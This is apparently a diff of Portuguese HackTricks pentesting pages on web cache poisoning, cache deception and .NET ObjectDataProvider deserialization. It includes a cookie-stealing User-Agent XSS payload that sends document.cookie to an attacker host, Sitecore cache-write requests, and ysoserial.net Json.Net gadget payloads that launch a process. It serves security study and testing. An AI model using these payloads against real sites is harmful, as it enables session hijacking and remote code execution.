Se você descobriu que o cabeçalho **`X-Host`** está sendo usado como **nome de domínio para carregar um recurso JS**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent:
Se você descobrir que o cabeçalho **`X-Host`** está sendo usado como **domain name to load a JS resource**, mas o cabeçalho **`Vary`** na resposta está indicando **`User-Agent`**, então você precisa encontrar uma forma de exfiltrate o `User-Agent` da vítima e poison the cache usando esse `User-Agent`:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar a do corpo, mas o servidor de cache armazenar a da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:
Envie uma requisição GET com os parâmetros na URL e também no body. Se o web server usar os valores do body, mas o cache server armazenar os da URL, qualquer pessoa acessando essa URL acabará usando o parâmetro do body. Como a vuln que James Kettle encontrou no website do Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,126 +146,143 @@ Content-Length: 22
report=innocent-victim
```
Há um laboratório do portswigger sobre isso: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
Há um lab do PortSwigger sobre isso: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Cloaking de Parâmetros
### Parameter Cloacking
Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles.
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Laboratório do Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Explorando o Envenenamento de Cache HTTP abusando do HTTP Request Smuggling
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Aprenda aqui como realizar [ataques de Envenenamento de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
Aprenda aqui como realizar [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Testes automatizados para Envenenamento de Cache Web
### Testes automatizados para Web Cache Poisoning
O [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente o envenenamento de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta várias técnicas diferentes e é altamente personalizável.
Uso de exemplo: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
### XSS de reflexão de cabeçalho + semeadura de cache assistida por CDN/WAF (User-Agent, .js auto-cacheado)
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Este padrão do mundo real encadeia um primitivo de reflexão baseado em cabeçalho com o comportamento de CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:
Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em cabeçalho com o comportamento de CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:
- O HTML principal refletiu um cabeçalho de solicitação não confiável (por exemplo, `User-Agent`) em um contexto executável.
- O CDN removeu cabeçalhos de cache, mas um cache interno/origem existia. O CDN também auto-cacheou solicitações que terminavam em extensões estáticas (por exemplo, `.js`), enquanto o WAF aplicou uma inspeção de conteúdo mais fraca para GETs de ativos estáticos.
- Quirks do fluxo de solicitação permitiram que uma solicitação a um caminho `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho.
- O HTML principal refletia um cabeçalho de requisição não confiável (e.g., `User-Agent`) em contexto executável.
- O CDN removia headers de cache mas existia um cache interno/origem. O CDN também fazia auto-cache de requisições terminando em extensões estáticas (e.g., `.js`), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca em GETs para assets estáticos.
- Peculiaridades no fluxo de requisições permitiam que uma requisição para um path `.js` influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de cabeçalho.
Receita prática (observada em um popular CDN/WAF):
Receita prática (observada em um CDN/WAF popular):
1) De um IP limpo (evite rebaixamentos baseados em reputação anteriores), defina um `User-Agent` malicioso via navegador ou Burp Proxy Match & Replace.
2) No Burp Repeater, prepare um grupo de duas solicitações e use "Enviar grupo em paralelo" (o modo de pacote único funciona melhor):
- Primeira solicitação: GET um caminho de recurso `.js` na mesma origem enquanto envia seu `User-Agent` malicioso.
- Imediatamente após: GET a página principal (`/`).
3) A corrida de roteamento do CDN/WAF mais o `.js` auto-cacheado frequentemente semeia uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, as mesmas dimensões `Vary` como `User-Agent`).
1) A partir de um IP limpo (evite rebaixamentos baseados em reputação prévia), defina um `User-Agent` malicioso via navegador ou Burp Proxy Match & Replace.
2) No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (single-packet mode works best):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
3) A corrida de roteamento do CDN/WAF mais o `.js` auto-cacheado frequentemente semeiam uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões de `Vary` como `User-Agent`).
Exemplo de carga útil de cabeçalho (para exfiltrar cookies não-HttpOnly):
Exemplo de payload de header (para exfiltrar cookies não-HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Dicas operacionais:
Operational tips:
- Muitos CDNs ocultam cabeçalhos de cache; a contaminação pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e limite a taxa para evitar gatilhos de limite de taxa ou reputação.
- Usar um IP da própria nuvem do CDN às vezes melhora a consistência de roteamento.
- Se um CSP rigoroso estiver presente, isso ainda funciona se a reflexão for executada no contexto HTML principal e o CSP permitir a execução inline ou for contornado pelo contexto.
- Muitos CDN ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e throttle para evitar gatilhos de rate-limit ou de reputação.
- Usar um IP da própria cloud do CDN às vezes melhora a consistência do roteamento.
- Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto HTML principal e o CSP permitir execução inline ou for contornado pelo contexto.
Impacto:
Impact:
- Se os cookies de sessão não forem `HttpOnly`, um ATO de clique zero é possível ao exfiltrar em massa `document.cookie` de todos os usuários que recebem o HTML contaminado.
- Se os cookies de sessão não são `HttpOnly`, zero-click ATO é possível por exfiltração em massa de `document.cookie` de todos os usuários que recebem o poisoned HTML.
Defesas:
Defenses:
- Pare de refletir cabeçalhos de solicitação no HTML; codifique estritamente o contexto se for inevitável. Alinhe as políticas de cache do CDN e da origem e evite variações em cabeçalhos não confiáveis.
- Certifique-se de que o WAF aplique a inspeção de conteúdo de forma consistente a solicitações `.js` e caminhos estáticos.
- Defina `HttpOnly` (e `Secure`, `SameSite`) em cookies de sessão.
- Pare de refletir request headers no HTML; faça context-encode estrito se inevitável. Alinhe as políticas de cache do CDN e da origin e evite variar com base em cabeçalhos não confiáveis.
- Garanta que o WAF aplique inspeção de conteúdo de forma consistente às requisições `.js` e caminhos estáticos.
- Defina `HttpOnly` (e `Secure`, `SameSite`) nos cookies de sessão.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Um padrão específico do Sitecore permite gravações não autenticadas no HtmlCache ao abusar de pre‑auth XAML handlers e da reflexão do AjaxScriptManager. Quando o handler `Sitecore.Shell.Xaml.WebControl` é alcançado, um `xmlcontrol:GlobalHeader` (derivado de `Sitecore.Web.UI.WebControl`) está disponível e a seguinte chamada reflexiva é permitida:
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Isso escreve HTML arbitrário sob um cache key escolhido pelo atacante, permitindo cache poisoning preciso uma vez que os cache keys sejam conhecidos.
For full details (cache key construction, ItemService enumeration and a chained post-auth deserialization RCE):
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Exemplos Vulneráveis
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, caminho e consulta (ignorando o fragmento). Assim, a solicitação `/#/../?r=javascript:alert(1)` foi enviada para o backend como `/#/../?r=javascript:alert(1)` e a chave de cache não continha a carga útil, apenas host, caminho e consulta.
O ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou o cache key usando apenas host, path e query (ignorando o fragmento). Assim, a requisição `/#/../?r=javascript:alert(1)` foi enviada ao backend como `/#/../?r=javascript:alert(1)` e o cache key não continha o payload dentro dele, apenas host, path e query.
### GitHub CP-DoS
Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em cache. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados.
Enviar um valor inválido no header content-type acionou uma resposta 405 em cache. O cache key continha o cookie, então era possível atacar apenas usuários não autenticados.
### GitLab + GCP CP-DoS
O GitLab usa buckets do GCP para armazenar conteúdo estático. **Buckets do GCP** suportam o **cabeçalho `x-http-method-override`**. Assim, era possível enviar o cabeçalho `x-http-method-override: HEAD` e contaminar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método `PURGE`.
GitLab usa GCP buckets para armazenar conteúdo estático. **GCP Buckets** suportam o **header `x-http-method-override`**. Portanto era possível enviar o header `x-http-method-override: HEAD` e poison the cache into returning an empty response body. Também podia suportar o método `PURGE`.
### Rack Middleware (Ruby on Rails)
Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma negação de serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.
Em aplicações Ruby on Rails, Rack middleware é frequentemente utilizado. O propósito do código Rack é pegar o valor do header **`x-forwarded-scheme`** e defini-lo como o scheme da request. Quando o header `x-forwarded-scheme: http` é enviado, ocorre um redirect 301 para o mesmo local, potencialmente causando Denial of Service (DoS) para esse recurso. Adicionalmente, a aplicação pode respeitar o header `X-forwarded-host` e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança.
### 403 e Buckets de Armazenamento
### 403 and Storage Buckets
O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.
Cloudflare anteriormente colocava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultaria em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento ainda pode estar presente em outros proxies.
### Injetando Parâmetros Chaveados
### Injecting Keyed Parameters
Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que pode ser armazenado em cache.
Caches frequentemente incluem parâmetros GET específicos no cache key. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas requisições. Contudo, se uma versão codificada em URL do parâmetro (ex.: `siz%65`) também fosse enviada com um valor errado, o cache key seria construído usando o parâmetro `size` correto. Entretanto, o backend processaria o valor no parâmetro codificado em URL. Codificar em URL o segundo parâmetro `size` levava à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request cacheável.
### Regras de User Agent
### User Agent Rules
Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como contaminação de cache e DoS.
Alguns desenvolvedores bloqueiam requisições com user-agents que combinam com ferramentas de alta carga como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS.
### Campos de Cabeçalho Ilegais
### Illegal Header Fields
O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que pode ser armazenado em cache.
O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo **tchar** deveriam idealmente disparar uma resposta 400 Bad Request. Na prática, servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header `cache-control` não esteja presente. Foi identificado um padrão explorável onde o envio de um header com um caractere ilegal, como `\`, resultava em um 400 Bad Request cacheável.
### Encontrando novos cabeçalhos
### Finding new headers
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Decepção de Cache
## Cache Deception
O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**.
O objetivo do Cache Deception é fazer os clientes **load resources that are going to be saved by the cache with their sensitive information**.
Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários.
Antes de tudo, note que **extensions** como `.css`, `.js`, `.png` etc. geralmente estão **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js` o cache provavelmente irá armazenar a resposta porque identifica a **extension** `.js`. Mas, se a **application** estiver respondendo com os conteúdos **sensiveis** do usuário armazenados em _www.example.com/profile.php_, você pode **steal** esses conteúdos de outros usuários.
Outras coisas a testar:
Outras coisas para testar:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use extensões menos conhecidas como_ `.avif`
- _Use lesser known extensions such as_ `.avif`
Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\
Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_ o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache irá salvar o resultado.\
Então, o **attacker** pode acessar _http://www.example.com/home.php/non-existent.css_ no próprio navegador e observar as **confidential information** dos usuários que acessaram antes.
Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_).
Note que o **cache proxy** deve estar **configured** para **cache** arquivos com base na **extension** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de `text/css`.
Aprenda aqui como realizar [ataques de Decepção de Cache abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Ferramentas Automáticas
- [**toxicache**](https://github.com/xhzeem/toxicache): Scanner em Golang para encontrar vulnerabilidades de contaminação de cache web em uma lista de URLs e testar várias técnicas de injeção.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner para encontrar web cache poisoning vulnerabilities em uma lista de URLs e testar múltiplas injection techniques.
## Referências
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -269,8 +290,9 @@ Aprenda aqui como realizar [ataques de Decepção de Cache abusando de HTTP Requ
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [Como encontrei uma tomada de conta de 0 cliques em um BBP público e a utilizei para acessar funcionalidades de nível administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}

113
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -1,38 +1,38 @@
# Deserialização básica .Net (gadget ObjectDataProvider, ExpandedWrapper e Json.Net)
# Deserialização .Net Básica (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Este post é dedicado a **entender como o gadget ObjectDataProvider é explorado** para obter RCE e **como** as bibliotecas de Serialização **Json.Net e xmlSerializer podem ser abusadas** com esse gadget.
Esta postagem é dedicada a **entender como o gadget ObjectDataProvider é explorado** para obter RCE e **como** as bibliotecas de Serialização **Json.Net e xmlSerializer podem ser abusadas** com esse gadget.
## Gadget ObjectDataProvider
## ObjectDataProvider Gadget
Da documentação: _a Classe ObjectDataProvider envolve e cria um objeto que você pode usar como uma fonte de vinculação_.\
Sim, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite **envolver um objeto arbitrário**, usar _**MethodParameters**_ para **definir parâmetros arbitrários** e então **usar MethodName para chamar uma função arbitrária** do objeto arbitrário declarado usando os parâmetros arbitrários.\
Portanto, o **objeto** arbitrário irá **executar** uma **função** com **parâmetros enquanto está sendo desserializado.**
From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Pois é, é uma explicação estranha, então vamos ver o que essa classe tem de tão interessante: Esta classe permite **encapsular um objeto arbitrário**, usar _**MethodParameters**_ para **definir parâmetros arbitrários,** e então **usar MethodName para chamar uma função arbitrária** do objeto arbitrário declarada usando os parâmetros arbitrários.\
Portanto, o arbitrário **objeto** irá **executar** uma **função** com **parâmetros enquanto é desserializado.**
### **Como isso é possível**
O namespace **System.Windows.Data**, encontrado dentro do **PresentationFramework.dll** em `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, é onde o ObjectDataProvider é definido e implementado.
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que nos interessa. Na imagem abaixo, estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nome do método**
Usando [**dnSpy**](https://github.com/0xd4d/dnSpy) você pode **inspecionar o código** da classe que nos interessa. Na imagem abaixo estamos vendo o código de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Como você pode observar, quando `MethodName` é definido, `base.Refresh()` é chamado, vamos dar uma olhada no que isso faz:
Como você pode observar, quando `MethodName` é definido `base.Refresh()` é chamado, vamos dar uma olhada no que isso faz:
![](<../../images/image (319).png>)
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e é isso que ele faz:
Ok, vamos continuar vendo o que `this.BeginQuery()` faz. `BeginQuery` é sobrescrito por `ObjectDataProvider` e isto é o que ele faz:
![](<../../images/image (345).png>)
Note que no final do código está chamando `this.QueryWorke(null)`. Vamos ver o que isso executa:
Note que no final do código ele está chamando `this.QueryWorke(null)`. Vamos ver o que isso executa:
![](<../../images/image (596).png>)
Note que este não é o código completo da função `QueryWorker`, mas mostra a parte interessante dela: O código **chama `this.InvokeMethodOnInstance(out ex);`** esta é a linha onde o **método definido é invocado**.
Note que este não é o código completo da função `QueryWorker`, mas mostra a parte interessante dela: O código **chama `this.InvokeMethodOnInstance(out ex);`** — esta é a linha onde o **método definido é invocado**.
Se você quiser verificar que apenas definindo o _**MethodName**_** ele será executado**, você pode rodar este código:
Se você quer verificar que apenas definindo o _**MethodName**_ **ele será executado**, você pode rodar este código:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
}
}
```
Note que você precisa adicionar como referência _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para carregar `System.Windows.Data`
Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`
## ExpandedWrapper
Usando a exploração anterior, haverá casos em que o **objeto** será **desserializado como** uma instância de _**ObjectDataProvider**_ (por exemplo, na vulnerabilidade do DotNetNuke, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Então, não terá **conhecimento do tipo de objeto que está encapsulado** na instância de _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [informações sobre a vulnerabilidade do DotNetNuke aqui](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Usando o exploit anterior, haverá casos em que o **objeto** será **desserializado como** uma instância _**ObjectDataProvider**_ (por exemplo no DotNetNuke vuln, usando XmlSerializer, o objeto foi desserializado usando `GetType`). Nesse caso, não terá **conhecimento do tipo de objeto que está encapsulado** na instância _ObjectDataProvider_ (`Process`, por exemplo). Você pode encontrar mais [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma determinada instância. Assim, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Isso é muito útil para casos como o apresentado anteriormente, porque seremos capazes de **encapsular \_ObjectDataProvider**_** dentro de uma instância de **_**ExpandedWrapper** \_ e **quando desserializado** esta classe **criará** o objeto _**OjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
Esta classe permite **especificar os tipos de objeto dos objetos que estão encapsulados** em uma dada instância. Portanto, esta classe pode ser usada para encapsular um objeto fonte (_ObjectDataProvider_) em um novo tipo de objeto e fornecer as propriedades de que precisamos (_ObjectDataProvider.MethodName_ e _ObjectDataProvider.MethodParameters_).\
Isto é muito útil para casos como o apresentado anteriormente, pois seremos capazes de **envolver o _ObjectDataProvider_** dentro de uma instância **_ExpandedWrapper_** e, **quando desserializada**, essa classe irá **criar** o objeto _**ObjectDataProvider**_ que irá **executar** a **função** indicada em _**MethodName**_.
Você pode verificar este wrapper com o seguinte código:
Você pode checar este wrapper com o código a seguir:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
Na [página oficial](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serializar e desserializar qualquer objeto .NET com o poderoso serializador JSON do Json.NET**. Assim, se pudéssemos **desserializar o gadget ObjectDataProvider**, poderíamos causar um **RCE** apenas desserializando um objeto.
Na [official web page](https://www.newtonsoft.com/json) é indicado que esta biblioteca permite **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Portanto, se pudéssemos **deserialize the ObjectDataProvider gadget**, poderíamos causar uma **RCE** apenas desserializando um objeto.
### Exemplo Json.Net
Primeiro de tudo, vamos ver um exemplo de como **serializar/desserializar** um objeto usando esta biblioteca:
Antes de tudo, vamos ver um exemplo de como **serialize/deserialize** um objeto usando esta biblioteca:
```java
using System;
using Newtonsoft.Json;
@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Abusando Json.Net
### Abusando do Json.Net
Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) eu criei o exploit:
Usando [ysoserial.net](https://github.com/pwntester/ysoserial.net) criei o exploit:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Neste código você pode **testar a exploração**, basta executá-lo e você verá que um calc é executado:
Neste código você pode **testar o exploit**, basta executá-lo e você verá que o calc é executado:
```java
using System;
using System.Text;
@ -186,25 +186,25 @@ TypeNameHandling = TypeNameHandling.Auto
```
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
A técnica ObjectDataProvider + ExpandedWrapper introduzida acima é apenas uma das MUITAS cadeias de gadgets que podem ser abusadas quando uma aplicação realiza **desserialização .NET insegura**. Ferramentas modernas de red-team, como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatizam a criação de **gráficos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.
A técnica ObjectDataProvider + ExpandedWrapper apresentada acima é apenas uma entre MUITAS gadget chains que podem ser abusadas quando uma aplicação realiza **unsafe .NET deserialization**. Ferramentas modernas de red-team como **[YSoNet](https://github.com/irsdl/ysonet)** (e a mais antiga [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizam a criação de **grafos de objetos maliciosos prontos para uso** para dezenas de gadgets e formatos de serialização.
Abaixo está uma referência condensada das cadeias mais úteis incluídas com *YSoNet*, juntamente com uma rápida explicação de como funcionam e comandos de exemplo para gerar os payloads.
